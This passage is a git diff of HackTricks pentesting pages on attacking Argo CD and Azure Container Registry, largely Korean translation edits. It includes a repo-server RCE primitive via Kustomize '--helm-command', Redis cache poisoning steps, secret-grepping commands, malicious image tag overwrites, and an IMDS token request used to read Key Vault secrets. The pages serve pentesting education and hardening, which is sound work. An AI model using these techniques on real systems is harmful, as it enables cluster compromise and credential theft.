diff --git a/scripts/__pycache__/translator.cpython-312.pyc b/scripts/__pycache__/translator.cpython-312.pyc deleted file mode 100644 index 73128b838..000000000 Binary files a/scripts/__pycache__/translator.cpython-312.pyc and /dev/null differ diff --git a/src/pentesting-ci-cd/argocd-security.md b/src/pentesting-ci-cd/argocd-security.md index 7913b797d..b9e643ee1 100644 --- a/src/pentesting-ci-cd/argocd-security.md +++ b/src/pentesting-ci-cd/argocd-security.md @@ -2,43 +2,43 @@ {{#include ../banners/hacktricks-training.md}} -## 기본 정보 +## Basic Information -[Argo CD](https://argo-cd.readthedocs.io/)는 Kubernetes용 GitOps 지속적 배포 플랫폼이다. Git repositories를 감시하고, Helm, Kustomize, Jsonnet 또는 config management plugins 같은 도구로 Kubernetes manifests를 렌더링하며, Git에 저장된 원하는 상태와 live cluster state를 재조정한다. +[Argo CD](https://argo-cd.readthedocs.io/)는 Kubernetes를 위한 GitOps continuous delivery platform입니다. Git repository를 감시하고, Helm, Kustomize, Jsonnet 또는 config management plugin과 같은 도구를 사용해 Kubernetes manifest를 렌더링하며, live cluster state를 Git에 저장된 desired state와 일치하도록 조정합니다. -공격자 관점에서 Argo CD는 **Kubernetes credentials를 가진 deployment engine**으로 취급하라. Argo CD를 성공적으로 침해하면 다음으로 이어질 수 있다: +공격자 관점에서는 Argo CD를 **Kubernetes credentials를 보유한 deployment engine**으로 간주해야 합니다. Argo CD를 성공적으로 compromise하면 다음과 같은 결과로 이어질 수 있습니다. -- private Git repositories와 repository credentials 접근. -- Argo CD가 사용하는 Kubernetes cluster secrets 접근. -- `argocd-repo-server`에서 manifest generation code execution. -- trusted Git repositories, Argo CD applications, 또는 cache manipulation을 통한 무단 Kubernetes object deployment. +- private Git repository 및 repository credentials에 대한 access. +- Argo CD에서 사용하는 Kubernetes cluster secrets에 대한 access. +- `argocd-repo-server`에서의 manifest generation code execution. +- 신뢰된 Git repository, Argo CD application 또는 cache manipulation을 통한 무단 Kubernetes object deployment. -## 아키텍처 및 흥미로운 Components +## Architecture & Interesting Components -일반적인 Kubernetes objects와 services: +일반적인 Kubernetes object 및 service: ```bash kubectl get pods,svc,endpoints,ingress -A | grep -iE 'argocd|argo-cd' kubectl get applications,appprojects,applicationsets -A 2>/dev/null kubectl get secrets,configmaps -n argocd 2>/dev/null kubectl get networkpolicy -n argocd 2>/dev/null ``` -흥미로운 서비스: +관심 대상 서비스: -- **`argocd-server`**: public API, web UI, CLI API, authentication and authorization. -- **`argocd-application-controller`**: desired 상태와 live 상태를 비교한 다음 Kubernetes에 resources를 적용합니다. +- **`argocd-server`**: public API, web UI, CLI API, authentication 및 authorization. +- **`argocd-application-controller`**: desired state와 live state를 비교한 후 Kubernetes에 resources를 적용합니다. - **`argocd-repo-server`**: repositories를 clone하고, Git data를 cache하며, Helm/Kustomize/Jsonnet/plugins를 실행해 manifests를 생성합니다. 기본 gRPC port는 **8081**입니다. -- **`argocd-redis`**: application, manifest, Git reference data를 위한 cache입니다. 기본 Redis port는 **6379**입니다. -- **`argocd-applicationset-controller`**: Git, SCM, clusters, pull requests 같은 generators로부터 Argo CD `Application` objects를 생성합니다. +- **`argocd-redis`**: application, manifest 및 Git reference data를 위한 cache입니다. 기본 Redis port는 **6379**입니다. +- **`argocd-applicationset-controller`**: Git, SCM, clusters 및 pull requests와 같은 generators에서 Argo CD `Application` objects를 생성합니다. -compromised pod 또는 internal network segment에서 internal reachability를 확인하세요: +compromised pod 또는 internal network segment에서 internal reachability를 확인합니다: ```bash nc -vz 443 nc -vz 8081 nc -vz 6379 ``` -## Public API / UI Attacks +## 공개 API / UI 공격 -Argo CD credentials나 노출된 instance가 있다면, 일반적인 API surface부터 시작하세요: +Argo CD 자격 증명이 있거나 인스턴스가 노출된 경우, 일반적인 API 표면부터 시작합니다: ```bash argocd login argocd account get-user-info @@ -49,15 +49,15 @@ argocd repo list argocd cluster list argocd admin settings rbac can ``` -유용한 attack paths: +유용한 attack 경로: -- **Application write access**: `source.repoURL`, `source.path`, Helm values, Kustomize options, plugin settings 또는 sync options를 수정하여 Argo CD가 attacker-controlled manifests를 배포하게 만듭니다. -- **Project misconfiguration**: `AppProject` objects는 광범위한 `sourceRepos`, 광범위한 `destinations`, unsafe `clusterResourceWhitelist` 또는 약한 namespace restrictions를 허용할 수 있습니다. -- **Repository credential abuse**: repository secrets, GitHub App credentials, SSH keys 및 tokens는 trusted repos에 push하거나 malicious dependencies를 추가하는 데 사용될 수 있습니다. -- **Cluster credential abuse**: cluster secrets에는 Argo CD가 target clusters에 배포할 때 사용하는 bearer tokens 또는 exec-provider configuration이 들어 있을 수 있습니다. -- **Local admin / project tokens**: long-lived Argo CD tokens는 revoked되거나 expired되지 않았다면 API를 통해 재사용될 수 있습니다. +- **Application 쓰기 권한**: `source.repoURL`, `source.path`, Helm values, Kustomize options, plugin settings 또는 sync options를 수정하여 Argo CD가 attacker-controlled manifests를 deploy하도록 할 수 있습니다. +- **Project 잘못된 구성**: `AppProject` objects는 광범위한 `sourceRepos`, 광범위한 `destinations`, 안전하지 않은 `clusterResourceWhitelist` 또는 취약한 namespace restrictions를 허용할 수 있습니다. +- **Repository credential 악용**: repository secrets, GitHub App credentials, SSH keys 및 tokens를 사용하면 trusted repos에 push하거나 악성 dependencies를 추가할 수 있습니다. +- **Cluster credential 악용**: cluster secrets에는 Argo CD가 target clusters에 deploy하는 데 사용하는 bearer tokens 또는 exec-provider configuration이 포함될 수 있습니다. +- **Local admin / project tokens**: 장기간 유효한 Argo CD tokens는 revoke되거나 expire되지 않는 한 API를 통해 재사용할 수 있습니다. -클러스터 read access가 있을 때 Kubernetes에서 configuration을 열거하십시오: +cluster read access가 있으면 Kubernetes에서 configuration을 열거합니다: ```bash kubectl get applications.argoproj.io -A -o yaml kubectl get appprojects.argoproj.io -A -o yaml @@ -65,104 +65,104 @@ kubectl get applicationsets.argoproj.io -A -o yaml kubectl get secrets -n argocd -o yaml | grep -nE 'repoURL|sshPrivateKey|password|bearerToken|githubApp|tlsClientCertData|tlsClientCertKey' kubectl get cm -n argocd argocd-cm argocd-rbac-cm argocd-cmd-params-cm -o yaml ``` -## Trusted Git Repository Abuse +## 신뢰된 Git Repository Abuse -Argo CD가 신뢰하는 repository에 push할 수 있다면, 일반적으로 무엇이 배포되는지 영향을 줄 수 있습니다. 영향은 `AppProject` 경계와 application controller가 사용하는 service account 권한에 따라 달라집니다. +Argo CD가 신뢰하는 repository에 push할 수 있다면, 일반적으로 무엇이 배포되는지에 영향을 줄 수 있습니다. 영향 범위는 `AppProject` 경계와 application controller가 사용하는 service account 권한에 따라 달라집니다. -Common payload locations: +일반적인 payload 위치: - application path 아래의 Raw Kubernetes YAML. -- Helm chart templates와 `values.yaml`. -- Kustomize overlays, remote bases and generators. -- Jsonnet or config management plugin input. +- Helm chart templates 및 `values.yaml`. +- Kustomize overlays, remote bases 및 generators. +- Jsonnet 또는 config management plugin input. - `Application` objects를 생성하거나 업데이트하는 ApplicationSet generator files. -앱이 automated sync, pruning, self-heal, sync windows 또는 manual approvals를 사용하는지 확인하세요: +앱이 automated sync, pruning, self-heal, sync windows 또는 manual approvals를 사용하는지 확인합니다: ```bash kubectl get applications.argoproj.io -A \ -o custom-columns='NS:.metadata.namespace,APP:.metadata.name,PROJECT:.spec.project,AUTOSYNC:.spec.syncPolicy.automated,REPO:.spec.source.repoURL,PATH:.spec.source.path,DEST:.spec.destination.server' ``` -## Direct `argocd-repo-server` Abuse +## 직접 `argocd-repo-server` 악용 -공개 Argo CD API만이 공격 표면이라고 가정하지 마세요. 내부 Argo CD 컴포넌트는 gRPC를 통해 `argocd-repo-server`와 통신합니다. 임의의 pods가 repo-server에 도달할 수 있다면, 공격자가 제어하는 내부 요청은 보통 `argocd-server`에서 강제되는 검사를 우회할 수 있습니다. +공개 Argo CD API만이 유일한 attack surface라고 가정하지 마세요. 내부 Argo CD components는 gRPC를 통해 `argocd-repo-server`와 통신합니다. 임의의 pods가 repo-server에 접근할 수 있다면, attacker-controlled internal requests가 일반적으로 `argocd-server`에서 적용되는 checks를 우회할 수 있습니다. -실용적인 확인 사항: +실무 확인 항목: ```bash kubectl get svc -n argocd argocd-repo-server -o yaml kubectl get endpoints -n argocd argocd-repo-server -o wide nc -vz 8081 ``` -흥미로운 징후: +주요 징후: -- repo-server gRPC endpoint가 non-Argo CD pods에서 도달 가능하다. -- NetworkPolicies가 없거나, ingress를 차단하지 않고 egress만 allow-list 한다. -- repo-server가 custom config management plugins, decryption tools, 또는 여러 tenant의 repository content에 접근할 수 있다. -- Redis가 non-Argo CD pods에서 도달 가능하여, credentials가 있거나 필요하지 않을 경우 cache inspection 또는 tampering이 가능하다. +- repo-server gRPC endpoint가 Argo CD가 아닌 pod에서도 접근 가능함. +- NetworkPolicies가 없거나, ingress를 차단하지 않고 egress만 allow-list함. +- repo-server가 custom config management plugins, decryption tools 또는 여러 tenant의 repository content에 접근할 수 있음. +- Redis가 Argo CD가 아닌 pod에서도 접근 가능하여, credentials가 있거나 인증이 필요하지 않은 경우 cache inspection 또는 tampering이 가능함. -## Kustomize Options를 통한 Unauthenticated Repo-Server RCE +## Kustomize Options를 통한 인증 없는 Repo-Server RCE -2026년 7월, Synacktiv는 공격자가 내부 gRPC service에 도달할 수 있을 때 Argo CD의 `repo-server`에서 unauthenticated code execution chain을 공개했다. 이 공격은 `/repository.RepoServerService/GenerateManifest`에 대한 직접 접근과 공격자 제어 `KustomizeOptions`를 악용한다. +2026년 7월, Synacktiv는 공격자가 내부 gRPC service에 접근할 수 있을 때 Argo CD의 `repo-server`에서 인증 없이 code execution이 가능한 chain을 공개했습니다. 이 공격은 `/repository.RepoServerService/GenerateManifest`에 대한 direct access와 공격자가 제어하는 `KustomizeOptions`를 악용합니다. -위험한 primitive는 repo-server가 공격자 제어 repository content를 clone하고 Helm support와 함께 Kustomize를 실행하도록 강제하는 것이다: +위험한 primitive는 repo-server가 공격자가 제어하는 repository content를 clone하고 Helm support와 함께 Kustomize를 실행하도록 강제하는 것입니다: ```bash kustomize build --enable-helm --helm-command ./payload.sh ``` -Helm 처리을 트리거하려면 최소한의 malicious Kustomize input이 필요합니다: +Helm 처리를 트리거하기 위한 최소한의 악성 Kustomize 입력: ```yaml helmCharts: - name: pwn version: 0.0.1 ``` -이것이 작동하는 이유: +작동하는 이유: -- `argocd-repo-server`는 렌더링 전에 repository를 clone합니다. -- `--helm-command ./payload.sh`는 cloned repository를 기준으로 상대 경로로 해석됩니다. -- 공격자가 rendered repository와 Kustomize build options를 제어할 수 있다면, Code execution에는 shell metacharacter injection이 필요하지 않습니다. +- `argocd-repo-server`는 rendering 전에 repository를 clone합니다. +- `--helm-command ./payload.sh`는 clone된 repository를 기준으로 resolve됩니다. +- 공격자가 rendered repository와 Kustomize build options를 제어할 수 있다면, shell metacharacter injection 없이도 code execution이 가능합니다. -Synacktiv의 2026년 7월 1일 disclosure 시점에, 그들은 이 issue에 공식 fix나 CVE가 없다고 보고했습니다. 이를 먼저 network-exposure issue로 취급하세요: exploitation에는 내부 repo-server gRPC port에 도달 가능해야 합니다. +Synacktiv가 2026년 7월 1일 disclosure 당시 보고한 바에 따르면, 이 issue에는 공식 fix나 CVE가 없었습니다. 이를 우선 network-exposure issue로 취급해야 합니다. exploitation에는 내부 repo-server gRPC port에 대한 reachability가 필요합니다. ## Redis Cache Poisoning to Deploy Manifests -`argocd-repo-server`에서 code execution이 발생한 후, 또는 유효한 credentials로 Redis에 직접 access한 후, Redis-backed cache entries를 점검합니다. Argo CD는 일반적으로 gzip-compressed JSON values를 저장합니다. +`argocd-repo-server`에서 code execution을 수행한 후 또는 유효한 credentials로 Redis에 직접 access한 후에는 Redis-backed cache entries를 검사합니다. Argo CD는 일반적으로 gzip-compressed JSON values를 저장합니다. -흥미로운 key prefixes: +Interesting key prefixes: ```text mfst|... # cached rendered manifests git-refs|... # Git branch/ref to commit mappings app|... # application resource/cache data cluster|... # cluster cache information ``` -Synacktiv이 설명한 cache poisoning 공격은 두 가지 상태를 악용합니다: +Synacktiv이 설명한 cache poisoning attack은 두 가지 상태를 악용합니다: -1. 관련 `mfst|...` manifest cache entry를 수정해 공격자가 제어하는 Kubernetes manifest를 포함시킵니다. -2. 관련 `git-refs|...` mapping을 수정해 Argo CD가 branch가 이동했다고 믿게 만든 뒤, cached revision으로 다시 reconcile하게 만듭니다. +1. 관련 `mfst|...` manifest cache entry를 수정하여 attacker-controlled Kubernetes manifest를 포함시킵니다. +2. 관련 `git-refs|...` mapping을 수정하여 Argo CD가 branch가 이동했다고 판단하게 만든 다음, cached revision으로 다시 reconcile하도록 합니다. 영향: - Auto Sync가 활성화되어 있으면 Argo CD가 poisoned cached manifest를 자동으로 적용할 수 있습니다. -- Auto Sync가 없어도 사용자가 application을 수동으로 sync할 때 payload가 적용될 수 있습니다. -- 최종 영향은 target application's destination과 Argo CD에 허용된 Kubernetes permissions에 의해 제한됩니다. +- Auto Sync가 없더라도 사용자가 application을 수동으로 sync할 때 payload가 적용될 수 있습니다. +- 최종 영향은 target application의 destination과 Argo CD에 부여된 Kubernetes permissions에 의해 제한됩니다. ## ApplicationSet Attacks -ApplicationSet은 generator output으로부터 `Application` objects를 생성하거나 업데이트하므로 특히 민감합니다. +ApplicationSet은 generator output에서 `Application` objects를 생성하거나 업데이트하므로 특히 민감합니다. Review: ```bash kubectl get applicationsets.argoproj.io -A -o yaml kubectl get appprojects.argoproj.io -A -o yaml ``` -Interesting patterns: +흥미로운 패턴: -- attacker-writable files를 읽는 Git generators가 app names, paths, projects 또는 destinations를 제어하는 경우. -- public repositories에서 untrusted contributors가 generated applications에 영향을 줄 수 있는 Pull request generators. -- broad destination clusters/namespaces를 허용하는 Template fields. -- `sourceRepos: ["*"]` 또는 broad `destinations`를 허용하는 AppProjects. -- automated sync와 pruning을 상속하는 Generated applications. +- 앱 이름, 경로, 프로젝트 또는 destinations를 제어하는 attacker-writable 파일을 읽는 Git generators. +- 신뢰할 수 없는 contributor가 generated applications에 영향을 줄 수 있는 public repositories용 pull request generators. +- 광범위한 destination clusters/namespaces를 허용하는 template fields. +- `sourceRepos: ["*"]` 또는 광범위한 `destinations`를 허용하는 AppProjects. +- automated sync 및 pruning을 상속하는 generated applications. ## Post-Exploitation -Argo CD pod shell에서, 우선순위를 두고: +Argo CD pod shell에서 다음을 우선적으로 확인합니다: ```bash env cat /proc/1/environ 2>/dev/null | tr '\0' '\n' @@ -171,45 +171,45 @@ mount | grep -E 'secret|token|config' ``` 유용한 목표: -- `REDIS_PASSWORD` 또는 Redis TLS/client material을 탈취한다. -- mounted secrets 또는 Argo CD Kubernetes secrets에서 repository credentials를 추출한다. -- Argo CD가 사용하는 cluster credentials를 식별한다. -- 주입된 secrets를 포함할 수 있는 generated manifests와 plugin output을 읽는다. -- custom plugins, SOPS, Helm secrets, Vault plugins 또는 cloud CLIs가 decryption keys와 cloud credentials를 노출하는지 확인한다. +- `REDIS_PASSWORD` 또는 Redis TLS/client 자료 탈취. +- 마운트된 secrets 또는 Argo CD Kubernetes secrets에서 repository credentials 추출. +- Argo CD에서 사용하는 cluster credentials 식별. +- 주입된 secrets가 포함될 수 있는 generated manifests 및 plugin output 읽기. +- custom plugins, SOPS, Helm secrets, Vault plugins 또는 cloud CLIs가 decryption keys와 cloud credentials를 노출하는지 확인. ## Detection & Hardening -중요한 점검 사항: +중요한 점검 항목: -- `argocd-repo-server` port **8081**와 Redis port **6379**를 NetworkPolicies로 제한해, 예상된 Argo CD 구성요소만 접근할 수 있게 한다. -- Helm deployments에서는 network policies가 실제로 생성되는지 확인한다. Argo CD Helm chart values는 역사적으로 component network policy creation을 disabled로 두는 것이 기본이었다. -- `argocd-server`를 인증된 entry point로 유지한다. internal services는 임의의 workloads에서 접근 가능해서는 안 된다. -- 사용하지 않는 config management tools와 plugins는 비활성화한다. -- `AppProject`의 `sourceRepos`, `destinations`, namespace permissions, cluster-scoped resources를 제한한다. -- 권한이 낮은 Argo CD user가 재사용을 유도할 수 있는 광범위한 repository credentials 저장을 피한다. -- repo-server requests, Kustomize build options, plugin executions, Redis writes, 그리고 `mfst|` / `git-refs|` keys에 대한 예상치 못한 access를 모니터링한다. -- compromise 이후 Argo CD local users, project tokens, repository credentials, cluster credentials를 rotate한다. +- `argocd-repo-server` port **8081** 및 Redis port **6379**를 NetworkPolicies로 제한하여, 예상되는 Argo CD components만 접근할 수 있도록 합니다. +- Helm deployments에서는 network policies가 실제로 생성되는지 확인합니다. Argo CD Helm chart values는 역사적으로 component network policy 생성을 disabled 상태로 기본 설정했습니다. +- `argocd-server`를 authenticated entry point로 유지합니다. Internal services는 임의의 workloads에서 접근할 수 없어야 합니다. +- 사용하지 않는 config management tools 및 plugins를 비활성화합니다. +- `AppProject`의 `sourceRepos`, `destinations`, namespace permissions 및 cluster-scoped resources를 제한합니다. +- 권한이 낮은 Argo CD user가 재사용을 유도할 수 있는 broad repository credentials를 저장하지 않습니다. +- repo-server requests, Kustomize build options, plugin executions, Redis writes 및 `mfst|` / `git-refs|` keys에 대한 예상치 못한 access를 모니터링합니다. +- compromise 이후 Argo CD local users, project tokens, repository credentials 및 cluster credentials를 rotate합니다. -유용한 명령: +유용한 commands: ```bash kubectl get networkpolicy -n argocd kubectl get networkpolicy -A | grep -i argocd kubectl describe networkpolicy -n argocd argocd-repo-server-network-policy 2>/dev/null kubectl describe networkpolicy -n argocd argocd-redis-network-policy 2>/dev/null ``` -## Static Analysis Note: Typed API Requests in CodeQL +## CodeQL의 정적 분석 참고 사항: Typed API Requests -Go services에서 gRPC/REST handlers를 사용할 때, 기본 CodeQL remote sources는 raw input이 typed request objects로 unmarshaled된 뒤의 flows를 놓칠 수 있습니다. Argo CD-style services에 유용한 model은 다음과 같습니다: +gRPC/REST handlers를 사용하는 Go 서비스에서는 raw input이 typed request objects로 unmarshaled된 후 기본 CodeQL remote sources가 flow를 놓칠 수 있습니다. Argo CD 스타일 서비스에 유용한 모델은 다음과 같습니다. -- `Server` 또는 `Service` 같은 receiver type. +- `Server` 또는 `Service`와 같은 Receiver type. - 첫 번째 parameter는 `context.Context`. - 두 번째 parameter는 typed request object. -그 두 번째 parameter를 remote source로 model하고, `exec.Command` / `exec.CommandContext` arguments에 custom sinks를 추가하세요. 이렇게 하면 internal API request fields에서 command execution helpers로 이어지는 flows를 찾는 데 도움이 됩니다. +두 번째 parameter를 remote source로 모델링하고 `exec.Command` / `exec.CommandContext` arguments에 대한 custom sinks를 추가합니다. 이를 통해 internal API request fields에서 command execution helpers로 이어지는 flows를 찾는 데 도움이 됩니다. ## References -- [Synacktiv - Caught in the Octopus Trap: Unauthenticated RCE in Argo CD with CodeQL](https://www.synacktiv.com/en/publications/caught-in-the-octopus-trap-unauthenticated-rce-in-argo-cd-with-codeql) +- [Synacktiv - Octopus Trap에 걸리다: CodeQL을 사용한 Argo CD의 Unauthenticated RCE](https://www.synacktiv.com/en/publications/caught-in-the-octopus-trap-unauthenticated-rce-in-argo-cd-with-codeql) - [Argo CD docs - Security considerations](https://argo-cd.readthedocs.io/en/stable/operator-manual/security/) - [Argo CD docs - High Availability](https://argo-cd.readthedocs.io/en/stable/operator-manual/high_availability/) - [Argo CD docs - repo-server command reference](https://argo-cd.readthedocs.io/en/stable/operator-manual/server-commands/argocd-repo-server/) @@ -217,3 +217,4 @@ Go services에서 gRPC/REST handlers를 사용할 때, 기본 CodeQL remote sour - [Argo CD docs - metrics](https://argo-cd.readthedocs.io/en/latest/operator-manual/metrics/) - [Argo Helm - chart values reference](https://github.com/argoproj/argo-helm/blob/main/charts/argo-cd/README.md) - [Kustomize - Helm chart generator example](https://github.com/kubernetes-sigs/kustomize/blob/master/examples/chart.md) +{{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/README.md b/src/pentesting-cloud/azure-security/az-post-exploitation/README.md index 52b7c1b91..ed71bf4d6 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/README.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/README.md @@ -6,4 +6,8 @@ az-azure-ai-foundry-post-exploitation.md {{#endref}} +{{#ref}} +az-container-registry-post-exploitation.md +{{#endref}} + {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md new file mode 100644 index 000000000..5a6076ba0 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md @@ -0,0 +1,87 @@ +# Az - Container Registry Post Exploitation + +{{#include ../../../banners/hacktricks-training.md}} + +## Azure Container Registry + +이 서비스에 대한 자세한 내용은 다음을 확인하세요: + +{{#ref}} +../az-services/az-container-registry.md +{{#endref}} + +### `Microsoft.ContainerRegistry/registries/listCredentials/action`, `Microsoft.ContainerRegistry/registries/write` + +ACR management-plane access 권한이 있는 identity는 해당 액세스를 **재사용 가능한 Docker credentials**로 전환할 수 있습니다. **admin user**가 비활성화되어 있지만 해당 principal에 `registries/write` 권한도 있는 경우, 이를 활성화하고 passwords를 복구한 다음 `.azurecr.io`에 직접 인증하세요. +```bash +az acr show --resource-group --name --query adminUserEnabled +az acr update --resource-group --name --admin-enabled true +az acr credential show -n +docker login .azurecr.io -u -p +``` +이는 복구한 credentials를 Azure CLI 외부에서도 재사용하여 관리자 계정이 비활성화되거나 passwords가 rotation될 때까지 registry content를 **list, pull, push, overwrite 및 경우에 따라 delete**할 수 있기 때문에 유용합니다. + +### `Microsoft.ContainerRegistry/registries/pull/read` + +pull access를 사용하여 images 내부를 **repository reconnaissance**하고 **secret hunting**을 수행합니다. 최종 container configuration과 과거 filesystem layers를 모두 검토해야 합니다. 한 layer에서 복사된 files는 이후 삭제되더라도 여전히 복구할 수 있기 때문입니다. +```bash +az acr repository list -n +az acr repository show-tags -n --repository --detail +docker pull .azurecr.io/: + +container_id=$(docker create .azurecr.io/:) +docker cp "$container_id":/ ./extracted_container +docker rm "$container_id" +docker inspect .azurecr.io/: | jq -r '.[0].Config.Env[]?' +dive .azurecr.io/: +``` +고가치 대상에는 **환경 변수**, **애플리케이션 구성**, **배포 스크립트**, **인증서**, **액세스 토큰**, **연결 문자열**이 포함됩니다. 레이어를 검토할 때 더 많은 아이디어가 필요하다면 Docker forensics 페이지를 확인하세요: + +{{#ref}} +https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html +{{#endref}} + +### `Microsoft.ContainerRegistry/registries/push/write` + +Push access를 사용하면 공격자가 **신뢰된 repository를 오염시키거나** `latest`, `prod`, `stable`과 같은 **변경 가능한 tag를 덮어쓸 수 있습니다**. digest 대신 tag를 사용해 계속 배포하는 workload는 다음 배포, scale-out 이벤트 또는 재시작 시 공격자의 image를 가져올 수 있습니다. +```bash +# Retag an existing local image for the target ACR + +docker tag : .azurecr.io/: +docker push .azurecr.io/: + +# If your workstation architecture differs from the target runtime, build for the consumer platform first + +docker buildx build --platform linux/amd64 -t .azurecr.io/: --load . +docker push .azurecr.io/: +``` +태그를 교체하기 전에 downstream workload에서 실제로 사용되는 repositories와 tags를 확인하세요. **Digest-pinned** consumer(`@sha256:...`)는 tag 기반 consumer보다 redirect하기가 훨씬 어렵습니다. + +### `Microsoft.ContainerRegistry/registries/push/write`, `Microsoft.ContainerInstance/containerGroups/restart/action` + +downstream container workload에서 사용하는 **image를 교체**하고 해당 workload를 **restart**할 수 있다면, malicious entrypoint가 대상 container의 **network 및 managed identity context** 내부에서 실행됩니다. 그러면 image가 IMDS에서 token을 요청하고 해당 workload identity가 접근할 수 있는 Azure resource에 액세스할 수 있습니다. +```bash +TOKEN=$(curl -s -H Metadata:true 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net' | jq -r .access_token) +curl -H "Authorization: Bearer $TOKEN" \ +'https://.vault.azure.net/secrets/?api-version=7.4' +az container restart --resource-group --name +``` +이는 ACR tag overwrite를 **code execution**, **secret theft**, 또는 **lateral movement**으로 전환하여, 수정된 tag를 신뢰하고 유용한 identity를 노출하는 모든 container consumer 내부에서 악용할 수 있게 합니다. + +### 관련 privesc 경로: ACR Tasks managed identities + +`Microsoft.ContainerRegistry/registries/tasks/write` 및 `Microsoft.ContainerRegistry/registries/runs/write` 권한도 있다면 ACR privesc 경로로 이동하여 task의 managed identity를 직접 악용하세요. + +{{#ref}} +../az-privilege-escalation/az-container-registry-privesc.md +{{#endref}} + +## References + +- [TrustedSec - Pandora's Container Part 1: Unpacking Azure Container Security](https://trustedsec.com/blog/pandoras-container-part-1-unpacking-azure-container-security) +- [Microsoft Learn - Azure Container Registry authentication](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication) +- [Microsoft Learn - az acr credential](https://learn.microsoft.com/en-us/cli/azure/acr/credential?view=azure-cli-latest) +- [Microsoft Learn - az acr repository](https://learn.microsoft.com/en-us/cli/azure/acr/repository?view=azure-cli-latest) +- [Microsoft Learn - ACR Tasks YAML reference](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-tasks-reference-yaml) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-container-registry.md b/src/pentesting-cloud/azure-security/az-services/az-container-registry.md index d7eb0428f..8a0551ee8 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-container-registry.md +++ b/src/pentesting-cloud/azure-security/az-services/az-container-registry.md @@ -2,13 +2,13 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## 기본 정보 -Azure Container Registry (ACR)은 Azure cloud에서 **container images를 저장, 관리하고 접근할 수 있게 해주는** secure한 private registry입니다. 여러 Azure services와 매끄럽게 통합되어, 대규모 automated build 및 deployment workflows를 제공합니다. geo-replication과 vulnerability scanning 같은 기능을 통해, ACR은 containerized applications의 enterprise-grade security와 compliance를 보장하는 데 도움을 줍니다. +Azure Container Registry (ACR)는 **Azure cloud에서 container image를 저장, 관리 및 액세스**할 수 있는 안전한 private registry입니다. 여러 Azure services와 원활하게 통합되어 대규모의 자동화된 build 및 deployment workflow를 제공합니다. geo-replication 및 vulnerability scanning과 같은 기능을 통해 ACR은 containerized application에 enterprise-grade security 및 compliance를 보장합니다. -### Permissions +### 권한 -다음은 Container Registry에 부여할 수 있는 [docs에 따른](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager) **different permissions**입니다: +Container Registry에 부여할 수 있는 [문서에 따른 다양한 권한](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager)은 다음과 같습니다. - Access Resource Manager - Create/delete registry @@ -18,23 +18,23 @@ Azure Container Registry (ACR)은 Azure cloud에서 **container images를 저장 - Change policies - Sign images -또한 할당할 수 있는 몇 가지 **built-in roles**가 있으며, **custom roles**를 만드는 것도 가능합니다. +할당할 수 있는 **built-in role**도 있으며, **custom role**을 생성하는 것도 가능합니다. -![Azure Container Registry built-in roles permissions matrix for managing registry, image, data, policies, and signing actions](/images/registry_roles.png) +![registry, image, data, policy 및 signing 작업을 관리하기 위한 Azure Container Registry built-in role 권한 매트릭스](/images/registry_roles.png) -### Authentication +### 인증 > [!WARNING] -> registry 이름에 uppercase letters가 포함되어 있더라도, login, push, pull images 시에는 항상 **lowercase letters**를 사용해야 합니다. +> registry name에 uppercase letter가 포함되어 있더라도 login, image push 및 pull에는 항상 **lowercase letter**를 사용해야 합니다. -ACR에 authenticate하는 방법은 4가지가 있습니다: +ACR에 인증하는 방법은 4가지입니다. -- **With Entra ID**: ACR에 authenticate하는 **default** 방법입니다. ACR 인증에 **`az acr login`** command를 사용합니다. 이 command는 **credentials를** **`~/.docker/config.json`** file에 **store**합니다. 또한, **cloud shell**처럼 docker socket에 access할 수 없는 environment에서 이 command를 실행하는 경우, **`--expose-token`** flag를 사용해 ACR 인증용 **token**을 얻을 수 있습니다. 그런 다음 authenticate하려면 user name으로 `00000000-0000-0000-0000-000000000000`를 사용해야 하며, 예시는 다음과 같습니다: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN` -- **With an admin account**: admin user는 default로 disabled되어 있지만 enabled할 수 있으며, 그러면 registry에 대한 full permissions를 가진 admin account의 **username**과 **password**로 registry에 access할 수 있습니다. 이는 일부 Azure services가 사용하기 때문에 여전히 supported됩니다. 이 사용자에게는 **2 passwords**가 생성되며 둘 다 valid합니다. `az acr update -n --admin-enabled true`로 enable할 수 있습니다. username은 보통 registry name이며(`admin`이 아님) 참고하세요. -- **With a token**: registry에 access하기 위해 특정 **`scope map`**(permissions)과 함께 **token**을 생성할 수 있습니다. 그런 다음 token name을 username으로, 생성된 password 중 하나를 사용해 `docker login -u -p `로 registry에 authenticate할 수 있습니다. -- **With a Service Principal**: **service principal**을 생성하고 이미지를 pull하기 위해 **`AcrPull`** 같은 role을 assign할 수 있습니다. 그러면 SP appId를 username으로, 생성된 secret을 password로 사용해 **registry에 login**할 수 있습니다. +- **Entra ID 사용**: ACR에 인증하는 **기본** 방법입니다. **`az acr login`** command를 사용하여 ACR에 인증합니다. 이 command는 **credential을** **`~/.docker/config.json`** file에 **저장합니다**. 또한 **cloud shell**처럼 docker socket에 액세스할 수 없는 environment에서 이 command를 실행하는 경우, **`--expose-token`** flag를 사용하여 ACR 인증에 사용할 **token**을 가져올 수 있습니다. 그런 다음 인증하려면 다음과 같이 username으로 `00000000-0000-0000-0000-000000000000`을 사용해야 합니다: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN` +- **admin account 사용**: admin user는 기본적으로 disabled되어 